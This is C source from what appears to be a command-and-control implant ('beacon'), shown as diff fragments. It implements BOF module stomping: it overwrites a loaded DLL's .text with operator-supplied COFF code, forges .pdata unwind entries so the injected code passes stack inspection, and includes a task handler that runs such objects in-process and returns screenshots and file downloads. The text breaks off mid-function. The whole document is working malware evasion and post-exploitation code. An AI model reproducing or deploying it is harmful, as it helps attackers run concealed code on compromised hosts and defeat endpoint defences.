static PVOID StompAllocNear( PNAX_INSTANCE Nax, BOF_STOMP_SLOT* slot, SIZE_T need, ULONG protect ) {
ULONG_PTR dll_end = (ULONG_PTR)slot->DllBase + slot->Nt->OptionalHeader.SizeOfImage;
ULONG_PTR fwd_base = ( dll_end + 0xFFFF ) & ~(ULONG_PTR)0xFFFF;
for ( UINT32 i = 0; i < 256; i++ ) {
PVOID base = (PVOID)( fwd_base + (ULONG_PTR)i * 0x10000 );
SIZE_T sz = need;
NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory(
NtCurrentProcess(), &base, 0, &sz,
MEM_COMMIT | MEM_RESERVE, protect );
if ( NT_SUCCESS( st ) ) return base;
}
ULONG_PTR bwd_base = (ULONG_PTR)slot->DllBase & ~(ULONG_PTR)0xFFFF;
for ( UINT32 i = 1; i <= 256 && bwd_base >= (ULONG_PTR)i * 0x10000; i++ ) {
PVOID base = (PVOID)( bwd_base - (ULONG_PTR)i * 0x10000 );
SIZE_T sz = need;
NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory(
NtCurrentProcess(), &base, 0, &sz,
MEM_COMMIT | MEM_RESERVE, protect );
if ( NT_SUCCESS( st ) ) return base;
}
return NULL;
}
/* ========= [ init ] ========= */
FUNC VOID NaxBofStompInit( PNAX_INSTANCE Nax ) {
if ( !Nax->Config.BofStomp )
return;
NaxDbg( Nax, "[bof-stomp] init: sync=%ls async_count=%d",
Nax->Config.BofSyncDll, (INT)Nax->Config.BofAsyncCount );
StompInitSlot( Nax, Nax->Config.BofSyncDll, &Nax->BofStompPool.SyncSlot );
BYTE count = Nax->Config.BofAsyncCount;
if ( count > BOF_STOMP_ASYNC_MAX )
count = BOF_STOMP_ASYNC_MAX;
for ( BYTE i = 0; i < count; i++ ) {
if ( StompInitSlot( Nax, Nax->Config.BofAsyncDlls[i], &Nax->BofStompPool.AsyncSlots[i] ) )
Nax->BofStompPool.AsyncCount++;
}
if ( Nax->Config.SmStompDll[0] ) {
StompInitSlot( Nax, Nax->Config.SmStompDll, &Nax->BofStompPool.SmSlot );
NaxDbg( Nax, "[bof-stomp] sm_slot: dll=%p .text=%p cap=%u",
Nax->BofStompPool.SmSlot.DllBase,
Nax->BofStompPool.SmSlot.TextBase,
Nax->BofStompPool.SmSlot.TextCap );
}
Nax->BofStompPool.Initialized = TRUE;
NaxDbg( Nax, "[bof-stomp] init done: sync=%p async=%d/%d sm=%p",
Nax->BofStompPool.SyncSlot.DllBase, Nax->BofStompPool.AsyncCount, count,
Nax->BofStompPool.SmSlot.DllBase );
}
/* ========= [ alloc ] ========= */
FUNC BOOL NaxBofStompAlloc( PNAX_INSTANCE Nax, PBYTE bof, PCOF_HEADER hdr,
PCOF_SECTION sections, PVOID* mapSections,
PVOID* mf_out ) {
if ( !Nax->Config.BofStomp || !Nax->BofStompPool.Initialized )
return FALSE;
/* Find the .text section index in the COFF */
INT textIdx = -1;
UINT32 textNeed = 0;
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
PCOF_SECTION s = sections + i;
if ( s->Name[0] == '.' && s->Name[1] == 't' &&
s->Name[2] == 'e' && s->Name[3] == 'x' &&
s->Name[4] == 't' ) {
textIdx = (INT)i;
textNeed = s->SizeOfRawData;
if ( textNeed == 0 ) textNeed = s->VirtualSize;
break;
}
}
if ( textIdx < 0 || textNeed == 0 )
return FALSE;
/* Pick a slot: SmSlot (resident BOF), sync (CurrentJob==NULL), or async */
BOF_STOMP_SLOT* slot = NULL;
BYTE slotIdx = 0xFF;
if ( Nax->BofStompPool.SmStompReq ) {
if ( Nax->BofStompPool.SmSlot.DllBase && !Nax->BofStompPool.SmSlot.InUse &&
textNeed <= Nax->BofStompPool.SmSlot.TextCap ) {
slot = &Nax->BofStompPool.SmSlot;
slotIdx = 0xFE;
}
} else if ( Nax->CurrentJob == NULL ) {
if ( Nax->BofStompPool.SyncSlot.DllBase && !Nax->BofStompPool.SyncSlot.InUse &&
textNeed <= Nax->BofStompPool.SyncSlot.TextCap ) {
slot = &Nax->BofStompPool.SyncSlot;
slotIdx = 0xFF;
}
} else {
for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) {
BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i];
if ( s->DllBase && !s->InUse && textNeed <= s->TextCap ) {
slot = s;
slotIdx = i;
break;
}
}
}
if ( !slot ) {
NaxDbg( Nax, "[bof-stomp] no slot available (need=%u) -> fallback", textNeed );
return FALSE;
}
/* Stomp .text into DLL's .text section */
DWORD old = 0;
if ( !Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &old ) ) {
NaxDbg( Nax, "[bof-stomp] VirtualProtect RW failed" );
return FALSE;
}
MmZero( slot->TextBase, slot->TextCap );
PCOF_SECTION textSec = sections + textIdx;
if ( textSec->PointerToRawData && textSec->SizeOfRawData )
MmCopy( slot->TextBase, bof + textSec->PointerToRawData, textSec->SizeOfRawData );
mapSections[ textIdx ] = slot->TextBase;
/* Allocate non-.text sections NEAR the DLL (within ±2 GB for REL32) */
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
if ( (INT)i == textIdx ) continue;
PCOF_SECTION s = sections + i;
UINT32 raw_size = s->SizeOfRawData;
UINT32 virt_size = s->VirtualSize;
UINT32 need = ( raw_size > 0 ) ? raw_size : virt_size;
if ( need == 0 ) { mapSections[i] = NULL; continue; }
PVOID base = StompAllocNear( Nax, slot, (SIZE_T)need + 16, PAGE_READWRITE );
if ( !base ) {
NaxDbg( Nax, "[bof-stomp] near-alloc failed sec[%d]", (INT)i );
for ( UINT16 j = 0; j < i; j++ ) {
if ( (INT)j != textIdx && mapSections[j] ) {
PVOID b = mapSections[j]; SIZE_T sz = 0;
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE );
mapSections[j] = NULL;
}
}
mapSections[textIdx] = NULL;
if ( slot->TextBackup )
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
else
MmZero( slot->TextBase, slot->TextCap );
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
return FALSE;
}
mapSections[i] = base;
if ( s->PointerToRawData && raw_size )
MmCopy( base, bof + s->PointerToRawData, raw_size );
}
/* Allocate mapFunctions near the DLL */
PVOID mf = StompAllocNear( Nax, slot, 4096, PAGE_READWRITE );
if ( !mf ) {
NaxDbg( Nax, "[bof-stomp] mapFunctions near-alloc failed" );
for ( UINT16 j = 0; j < hdr->NumberOfSections && j < BOF_MAX_SECTIONS; j++ ) {
if ( (INT)j != textIdx && mapSections[j] ) {
PVOID b = mapSections[j]; SIZE_T sz = 0;
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE );
mapSections[j] = NULL;
}
}
mapSections[textIdx] = NULL;
if ( slot->TextBackup )
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
else
MmZero( slot->TextBase, slot->TextCap );
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
return FALSE;
}
MmZero( mf, 4096 );
*mf_out = mf;
/* Zero .pdata so dynamic RtlAddFunctionTable entries take priority */
if ( slot->PdataBase && slot->PdataSize ) {
DWORD pdOld = 0;
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld );
MmZero( slot->PdataBase, slot->PdataSize );
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld );
}
slot->InUse = TRUE;
if ( Nax->CurrentJob )
Nax->CurrentJob->StompSlotIdx = slotIdx;
NaxDbg( Nax, "[bof-stomp] alloc OK: .text=%p mf=%p (slot=%d, need=%u cap=%u)",
slot->TextBase, mf, (INT)slotIdx, textNeed, slot->TextCap );
return TRUE;
}
/* Called after relocations to set final protections:
* .text in DLL -> PAGE_EXECUTE_READ; private sections stay PAGE_READWRITE. */
FUNC VOID NaxBofStompProtect( PNAX_INSTANCE Nax, PVOID* mapSections, UINT16 numSections,
PCOF_SECTION sections ) {
BOF_STOMP_SLOT* slot = NULL;
if ( Nax->BofStompPool.SmStompReq )
slot = &Nax->BofStompPool.SmSlot;
else if ( Nax->CurrentJob == NULL )
slot = &Nax->BofStompPool.SyncSlot;
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
if ( !slot ) return;
DWORD old = 0;
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
NaxDbg( Nax, "[bof-stomp] .text -> RX" );
}
/* ========= [ inject .pdata into DLL ] ========= */
/* Write the BOF's relocated RUNTIME_FUNCTION entries directly into the DLL's
* .pdata section and copy the corresponding xdata (UNWIND_INFO) into the tail
* of the DLL's .text section. The IFT already covers .pdata, so the unwinder
* finds our entries without RtlAddFunctionTable.
*
* xdata is placed at the END of .text (after the BOF code). This keeps
* UnwindData RVAs within the DLL image even when the near-allocator placed the
* original xdata section before DllBase.
*
* Caller must invoke this while .text is still PAGE_READWRITE. */
FUNC BOOL NaxBofStompPdata( PNAX_INSTANCE Nax, PRUNTIME_FUNCTION src, DWORD srcCount,
ULONG_PTR image_base, PVOID xdataBase, ULONG xdataSize ) {
BOF_STOMP_SLOT* slot = NULL;
if ( Nax->BofStompPool.SmStompReq )
slot = &Nax->BofStompPool.SmSlot;
else if ( Nax->CurrentJob == NULL )
slot = &Nax->BofStompPool.SyncSlot;
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
if ( !slot || !slot->PdataBase || !slot->PdataSize )
return FALSE;
if ( !xdataBase || xdataSize == 0 )
return FALSE;
/* Place xdata copy at the tail of the DLL's .text (4-byte aligned).
* Typical .text is several MB, xdata is a few hundred bytes. */
ULONG xdataAligned = ( xdataSize + 3 ) & ~3u;
if ( xdataAligned > slot->TextCap )
return FALSE;
ULONG xdataOff = slot->TextCap - xdataAligned;
PBYTE xdataDst = (PBYTE)slot->TextBase + xdataOff;
MmCopy( xdataDst, xdataBase, xdataSize );
DWORD iftCount = slot->PdataSize / sizeof( RUNTIME_FUNCTION );
if ( srcCount == 0 || srcCount > iftCount )
return FALSE;
DWORD startIdx = iftCount - srcCount;
PRUNTIME_FUNCTION dst = (PRUNTIME_FUNCTION)slot->PdataBase;
DWORD pdOld = 0;
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld );
/* BeginAddress/EndAddress: .text is within the DLL, so ULONG wrapping on
* (image_base - DllBase) produces correct RVAs even when image_base < DllBase. */
ULONG adj = (ULONG)( image_base - (ULONG_PTR)slot->DllBase );
for ( DWORD i = 0; i < srcCount; i++ ) {
dst[ startIdx + i ].BeginAddress = src[i].BeginAddress + adj;
dst[ startIdx + i ].EndAddress = src[i].EndAddress + adj;
/* UnwindData: recompute to point at the xdata copy in .text. */
ULONG_PTR origVA = image_base + src[i].UnwindData;
ULONG_PTR internalOff = origVA - (ULONG_PTR)xdataBase;
dst[ startIdx + i ].UnwindData = (ULONG)( (ULONG_PTR)xdataDst + internalOff
- (ULONG_PTR)slot->DllBase );
}
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld );
NaxDbg( Nax, "[bof-stomp] .pdata injected: %u entries at [%u..%u] adj=0x%x xdata@.text+0x%x",
srcCount, startIdx, startIdx + srcCount - 1, adj, xdataOff );
return TRUE;
}
/* ========= [ free ] ========= */
FUNC VOID NaxBofStompFree( PNAX_INSTANCE Nax, PVOID* mapSections, UINT16 numSections ) {
BOF_STOMP_SLOT* slot = NULL;
if ( Nax->BofStompPool.SmStompReq )
slot = &Nax->BofStompPool.SmSlot;
else if ( Nax->CurrentJob == NULL )
slot = &Nax->BofStompPool.SyncSlot;
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
if ( !slot || !slot->InUse ) return;
/* Restore original DLL .text content */
DWORD old = 0;
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &old );
if ( slot->TextBackup )
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
else
MmZero( slot->TextBase, slot->TextCap );
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old );
/* Restore original .pdata content */
if ( slot->PdataBase && slot->PdataSize && slot->PdataBackup ) {
DWORD pdOld = 0;
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld );
MmCopy( slot->PdataBase, slot->PdataBackup, slot->PdataSize );
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld );
}
/* Free private sections (non-.text) */
for ( UINT16 i = 0; i < numSections && i < BOF_MAX_SECTIONS; i++ ) {
if ( mapSections[i] && mapSections[i] != slot->TextBase ) {
PVOID base = mapSections[i];
SIZE_T sz = 0;
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &base, &sz, MEM_RELEASE );
}
mapSections[i] = NULL;
}
slot->InUse = FALSE;
NaxDbg( Nax, "[bof-stomp] free: slot released" );
}
/* ========= [ active check ] ========= */
FUNC BOOL NaxBofStompActive( PNAX_INSTANCE Nax ) {
return Nax->BofStompPool.Initialized && Nax->Config.BofStomp;
}
+136
View File
@@ -0,0 +1,136 @@
/* beacon/src/Commands/Bof.c
* CMD_BOF (0x20) - receive COFF object file + packed args, execute in-process.
*
* Task args wire format (v2 - async support):
* async_flag(1) | timeout_secs(4LE) | bof_size(4LE) | bof_bytes | user_args_size(4LE) | user_args
*
* Result format (compound - supports text + multiple media per BOF):
* [media_entry]...[0x00][text_len(4LE)][text]
*
* Each media entry is type-tagged:
* 0x81: [0x81][note_len(4)][note][img_len(4)][img] (screenshot)
* 0x82: [0x82][name_len(4)][name][data_len(4)][data] (download)
*
* If the BOF produced only text (no media), the result is raw text bytes
* with no prefix tag - backwards compatible with the old format. */
#include "Nax.h"
#include "Common.h"
#include "Bof.h"
/* Write 4-byte LE integer */
static VOID BofW32( PBYTE p, UINT32 v ) {
p[0] = (BYTE)v; p[1] = (BYTE)( v >> 8 ); p[2] = (BYTE)( v >> 16 ); p[3] = (BYTE)( v >> 24 );
}
/* Reverse a singly-linked list (media entries are prepended; reverse for FIFO order). */
static NAX_BOF_MEDIA* BofReverseMedia( NAX_BOF_MEDIA* head ) {
NAX_BOF_MEDIA* prev = NULL;
while ( head ) {
NAX_BOF_MEDIA* next = head->Next;
head->Next = prev;
prev = head;
head = next;
}
return prev;
}
FUNC INT NaxCmdBof( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len,
PBYTE out, UINT32* out_len ) {
if ( args_len < 13 || args == NULL ) return NAX_ERR_INVAL;
/* ---- parse v2 prefix ---- */
BYTE asyncFlag = args[0];
UINT32 timeoutSecs = NaxR32( args + 1 );
PBYTE bofArgs = args + 5;
UINT32 bofArgsLen = args_len - 5;
/* ---- parse COFF + user args ---- */
if ( bofArgsLen < 8 ) return NAX_ERR_INVAL;
UINT32 bof_size = NaxR32( bofArgs );
if ( 4u + bof_size + 4u > bofArgsLen ) return NAX_ERR_WIRE;
PBYTE bof_data = bofArgs + 4;
UINT32 user_args_size = NaxR32( bofArgs + 4 + bof_size );
PBYTE user_args = bofArgs + 4 + bof_size + 4;
if ( 4u + bof_size + 4u + user_args_size > bofArgsLen ) return NAX_ERR_WIRE;
/* ---- async path ---- */
if ( asyncFlag ) {
DWORD timeoutMs = timeoutSecs ? timeoutSecs * 1000u : 0;
NAX_JOB* job = NaxJobCreate( Nax, taskId, bof_data, bof_size, user_args, user_args_size, timeoutMs );
if ( !job ) return NAX_ERR_NOMEM;
INT rc = NaxJobStart( Nax, job );
if ( rc != NAX_OK ) {
*out_len = 0;
return rc;
}
*out_len = 0;
return NAX_STATUS_ASYNC;
}
/* ---- sync path (existing logic) ---- */
PBYTE out_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, BOF_OUTPUT_CAP );
if ( !out_buf ) return NAX_ERR_NOMEM;
Nax->BofCtx.Buf = out_buf;
Nax->BofCtx.Len = 0;
Nax->BofCtx.Cap = BOF_OUTPUT_CAP;
Nax->BofCtx.MediaHead = NULL;
INT ret = NaxBofExecute( Nax, bof_data, bof_size, user_args, user_args_size );
BOOL has_text = ( Nax->BofCtx.Len > 0 );
BOOL has_media = ( Nax->BofCtx.MediaHead != NULL );
/* Prepend 2-byte stomp metadata: [status][slot_idx] */
UINT32 off = 0;
if ( off + 2 <= *out_len ) {
out[ off++ ] = Nax->BofCtx.Stomped;
out[ off++ ] = Nax->BofCtx.StompSlot;
}
if ( has_media ) {
Nax->BofCtx.MediaHead = BofReverseMedia( Nax->BofCtx.MediaHead );
for ( NAX_BOF_MEDIA* m = Nax->BofCtx.MediaHead; m; m = m->Next ) {
if ( off + m->Len <= *out_len ) {
MmCopy( out + off, m->Data, m->Len );
off += m->Len;
}
}
if ( has_text && off + 5u + Nax->BofCtx.Len <= *out_len ) {
out[ off ] = 0x00;
BofW32( out + off + 1, Nax->BofCtx.Len );
MmCopy( out + off + 5, out_buf, Nax->BofCtx.Len );
off += 5u + Nax->BofCtx.Len;
}
*out_len = off;
} else if ( has_text ) {
UINT32 copy = ( Nax->BofCtx.Len < *out_len - off ) ? Nax->BofCtx.Len : *out_len - off;
MmCopy( out + off, out_buf, copy );
*out_len = off + copy;
} else {
*out_len = off;
}
NAX_BOF_MEDIA* m = Nax->BofCtx.MediaHead;
while ( m ) {
NAX_BOF_MEDIA* next = m->Next;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, m->Data );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, m );
m = next;
}
Nax->BofCtx.MediaHead = NULL;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, out_buf );
Nax->BofCtx.Buf = NULL;
Nax->BofCtx.Len = 0;
Nax->BofCtx.Cap = 0;
return ret;
}
+283
View File
@@ -0,0 +1,283 @@
/* beacon/src/Commands/BofStomp.c
* CMD_BOF_STOMP (0x31) - runtime reconfiguration of BOF module stomping.
*
* Wire format: sub_cmd(1) | data...
* 0x00 (sync): wchar_len(4LE) | wchar_bytes | flags(1)
* 0x01 (async): count(1) | [wchar_len(4LE) | wchar_bytes]... | flags(1)
* 0x02 (show): (empty)
* 0x03 (sm): wchar_len(4LE) | wchar_bytes | flags(1)
*
* flags bit 0: unload old DLL (1) vs restore original bytes (0, default)
*
* Response: UTF-8 text describing what happened. */
#include "Nax.h"
#include "LdrFlags.h"
/* ========= [ helpers ] ========= */
static VOID CleanupSlot( PNAX_INSTANCE Nax, BOF_STOMP_SLOT* slot, BOOL unload ) {
if ( !slot->DllBase ) return;
if ( !unload ) {
DWORD oldProt;
if ( slot->TextBackup && slot->TextBase ) {
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &oldProt );
MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap );
Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &oldProt );
}
if ( slot->PdataBackup && slot->PdataBase ) {
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &oldProt );
MmCopy( slot->PdataBase, slot->PdataBackup, slot->PdataSize );
Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READONLY, &oldProt );
}
}
if ( slot->TextBackup )
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, slot->TextBackup );
if ( slot->PdataBackup )
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, slot->PdataBackup );
if ( unload )
Nax->Kernel32.FreeLibrary( (HMODULE)slot->DllBase );
MmZero( slot, sizeof( BOF_STOMP_SLOT ) );
}
static BOOL ReloadSlot( PNAX_INSTANCE Nax, PWCHAR dllName, BOF_STOMP_SLOT* slot, BOOL unload ) {
CleanupSlot( Nax, slot, unload );
HMODULE hDll = Nax->Kernel32.LoadLibraryExW( dllName, NULL, DONT_RESOLVE_DLL_REFERENCES );
if ( !hDll ) return FALSE;
slot->DllBase = (PVOID)hDll;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)hDll + dos->e_lfanew );
slot->Nt = nt;
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( nt );
for ( UINT16 i = 0; i < nt->FileHeader.NumberOfSections; i++ ) {
if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
sec[i].Name[4] == 't' ) {
slot->TextBase = (PVOID)( (PBYTE)hDll + sec[i].VirtualAddress );
slot->TextCap = sec[i].SizeOfRawData;
if ( slot->TextCap == 0 ) slot->TextCap = sec[i].Misc.VirtualSize;
slot->InUse = FALSE;
slot->TextBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, slot->TextCap );
if ( slot->TextBackup )
MmCopy( slot->TextBackup, slot->TextBase, slot->TextCap );
PIMAGE_DATA_DIRECTORY exDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
if ( exDir->VirtualAddress && exDir->Size ) {
slot->PdataBase = (PVOID)( (PBYTE)hDll + exDir->VirtualAddress );
slot->PdataSize = exDir->Size;
slot->PdataBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, exDir->Size );
if ( slot->PdataBackup )
MmCopy( slot->PdataBackup, slot->PdataBase, exDir->Size );
}
return TRUE;
}
}
Nax->Kernel32.FreeLibrary( hDll );
MmZero( slot, sizeof( BOF_STOMP_SLOT ) );
return FALSE;
}
/* ========= [ command handler ] ========= */
FUNC INT NaxCmdBofStomp( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len,
PBYTE out, UINT32* out_len ) {
if ( args_len < 1 ) return NAX_ERR_INVAL;
UINT32 cap = *out_len;
UINT32 off = 0;
BYTE subCmd = args[0];
switch ( subCmd ) {
/* ---- sync: replace sync DLL ---- */
case 0x00: {
if ( args_len < 5 ) return NAX_ERR_INVAL;
UINT32 wlen = NaxR32( args + 1 );
if ( 5 + wlen > args_len ) return NAX_ERR_WIRE;
PWCHAR name = (PWCHAR)( args + 5 );
UINT32 nchars = wlen / sizeof( WCHAR );
if ( nchars == 0 || nchars >= 64 ) return NAX_ERR_INVAL;
BOOL unload = ( 5 + wlen + 1 <= args_len ) ? ( args[5 + wlen] & 0x01 ) : FALSE;
WCHAR buf[64]; MmZero( buf, sizeof( buf ) );
MmCopy( buf, name, nchars * sizeof( WCHAR ) );
BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.SyncSlot, unload );
if ( ok ) {
MmZero( Nax->Config.BofSyncDll, sizeof( Nax->Config.BofSyncDll ) );
MmCopy( Nax->Config.BofSyncDll, buf, nchars * sizeof( WCHAR ) );
}
off = NaxAppendStr((PCHAR)out, off, cap, ok ? "sync DLL updated: " : "sync DLL reload FAILED: " );
off = NaxAppendWStr((PCHAR)out, off, cap, buf );
off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded)" : " (old restored)" );
break;
}
/* ---- async: replace async DLL pool ---- */
case 0x01: {
if ( args_len < 2 ) return NAX_ERR_INVAL;
BYTE count = args[1];
if ( count > BOF_STOMP_ASYNC_MAX ) count = BOF_STOMP_ASYNC_MAX;
/* Scan ahead to find trailing flags byte after all DLL entries */
UINT32 scan = 2;
for ( BYTE i = 0; i < count && scan + 4 <= args_len; i++ ) {
UINT32 wl = NaxR32( args + scan ); scan += 4;
scan += wl;
}
BOOL unload = ( scan < args_len ) ? ( args[scan] & 0x01 ) : FALSE;
/* Clean up existing async DLLs */
for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) {
BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i];
if ( s->DllBase && !s->InUse )
CleanupSlot( Nax, s, unload );
}
Nax->BofStompPool.AsyncCount = 0;
Nax->Config.BofAsyncCount = 0;
/* Load new set */
UINT32 p = 2;
BYTE loaded = 0;
off = NaxAppendStr((PCHAR)out, off, cap, "async pool updated" );
off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded):\n" : " (old restored):\n" );
for ( BYTE i = 0; i < count && p + 4 <= args_len; i++ ) {
UINT32 wlen = NaxR32( args + p ); p += 4;
if ( p + wlen > args_len ) break;
PWCHAR wname = (PWCHAR)( args + p );
UINT32 nchars = wlen / sizeof( WCHAR );
p += wlen;
if ( nchars == 0 || nchars >= 64 ) continue;
WCHAR buf[64]; MmZero( buf, sizeof( buf ) );
MmCopy( buf, wname, nchars * sizeof( WCHAR ) );
BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.AsyncSlots[loaded], FALSE );
if ( ok ) {
MmZero( Nax->Config.BofAsyncDlls[loaded], sizeof( Nax->Config.BofAsyncDlls[loaded] ) );
MmCopy( Nax->Config.BofAsyncDlls[loaded], buf, nchars * sizeof( WCHAR ) );
loaded++;
}
off = NaxAppendStr((PCHAR)out, off, cap, " " );
off = NaxAppendWStr((PCHAR)out, off, cap, buf );
off = NaxAppendStr((PCHAR)out, off, cap, ok ? " -> OK\n" : " -> FAILED\n" );
}
Nax->BofStompPool.AsyncCount = loaded;
Nax->Config.BofAsyncCount = loaded;
off = NaxAppendStr((PCHAR)out, off, cap, "loaded: " );
off = NaxAppendInt((PCHAR)out, off, cap, loaded );
off = NaxAppendStr((PCHAR)out, off, cap, "/" );
off = NaxAppendInt((PCHAR)out, off, cap, count );
break;
}
/* ---- sleepmask: replace SmSlot DLL and re-wire ---- */
case 0x03: {
if ( args_len < 5 ) return NAX_ERR_INVAL;
UINT32 wlen = NaxR32( args + 1 );
if ( 5 + wlen > args_len ) return NAX_ERR_WIRE;
PWCHAR name = (PWCHAR)( args + 5 );
UINT32 nchars = wlen / sizeof( WCHAR );
if ( nchars == 0 || nchars >= 64 ) return NAX_ERR_INVAL;
BOOL unload = ( 5 + wlen + 1 <= args_len ) ? ( args[5 + wlen] & 0x01 ) : FALSE;
WCHAR buf[64]; MmZero( buf, sizeof( buf ) );
MmCopy( buf, name, nchars * sizeof( WCHAR ) );
/* Free current resident BOF before swapping the DLL */
NaxBofFreeResident( Nax );
BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.SmSlot, unload );
if ( ok ) {
MmZero( Nax->Config.SmStompDll, sizeof( Nax->Config.SmStompDll ) );
MmCopy( Nax->Config.SmStompDll, buf, nchars * sizeof( WCHAR ) );
}
off = NaxAppendStr((PCHAR)out, off, cap, ok ? "sleepmask DLL updated: " : "sleepmask DLL reload FAILED: " );
off = NaxAppendWStr((PCHAR)out, off, cap, buf );
off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded)" : " (old restored)" );
/* Re-wire sleepmask into the new slot from cached BOF bytes */
if ( ok && Nax->SmBofCache && Nax->SmBofCacheLen > 0 ) {
INT rc = NaxSleepmaskWire( Nax, Nax->SmBofCache, Nax->SmBofCacheLen );
off = NaxAppendStr((PCHAR)out, off, cap, rc == NAX_OK ? "\nsleepmask re-wired OK" : "\nsleepmask re-wire FAILED" );
} else if ( ok ) {
off = NaxAppendStr((PCHAR)out, off, cap, "\nno cached sleepmask BOF - use sleepmask-set to load one" );
}
break;
}
/* ---- show: dump current config ---- */
case 0x02: {
off = NaxAppendStr((PCHAR)out, off, cap, "BOF Stomping: " );
off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.Initialized ? "enabled\n" : "disabled\n" );
off = NaxAppendStr((PCHAR)out, off, cap, "Sync DLL: " );
if ( Nax->BofStompPool.SyncSlot.DllBase ) {
off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.BofSyncDll );
off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" );
off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.SyncSlot.TextCap );
off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.SyncSlot.InUse ? " IN USE)\n" : ")\n" );
} else {
off = NaxAppendStr((PCHAR)out, off, cap, "(not loaded)\n" );
}
off = NaxAppendStr((PCHAR)out, off, cap, "Async DLLs: " );
off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.AsyncCount );
off = NaxAppendStr((PCHAR)out, off, cap, "\n" );
for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) {
BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i];
off = NaxAppendStr((PCHAR)out, off, cap, " [" );
off = NaxAppendInt((PCHAR)out, off, cap, i );
off = NaxAppendStr((PCHAR)out, off, cap, "] " );
off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.BofAsyncDlls[i] );
off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" );
off = NaxAppendInt((PCHAR)out, off, cap, s->TextCap );
off = NaxAppendStr((PCHAR)out, off, cap, s->InUse ? " IN USE)\n" : ")\n" );
}
off = NaxAppendStr((PCHAR)out, off, cap, "Sleepmask DLL: " );
if ( Nax->BofStompPool.SmSlot.DllBase ) {
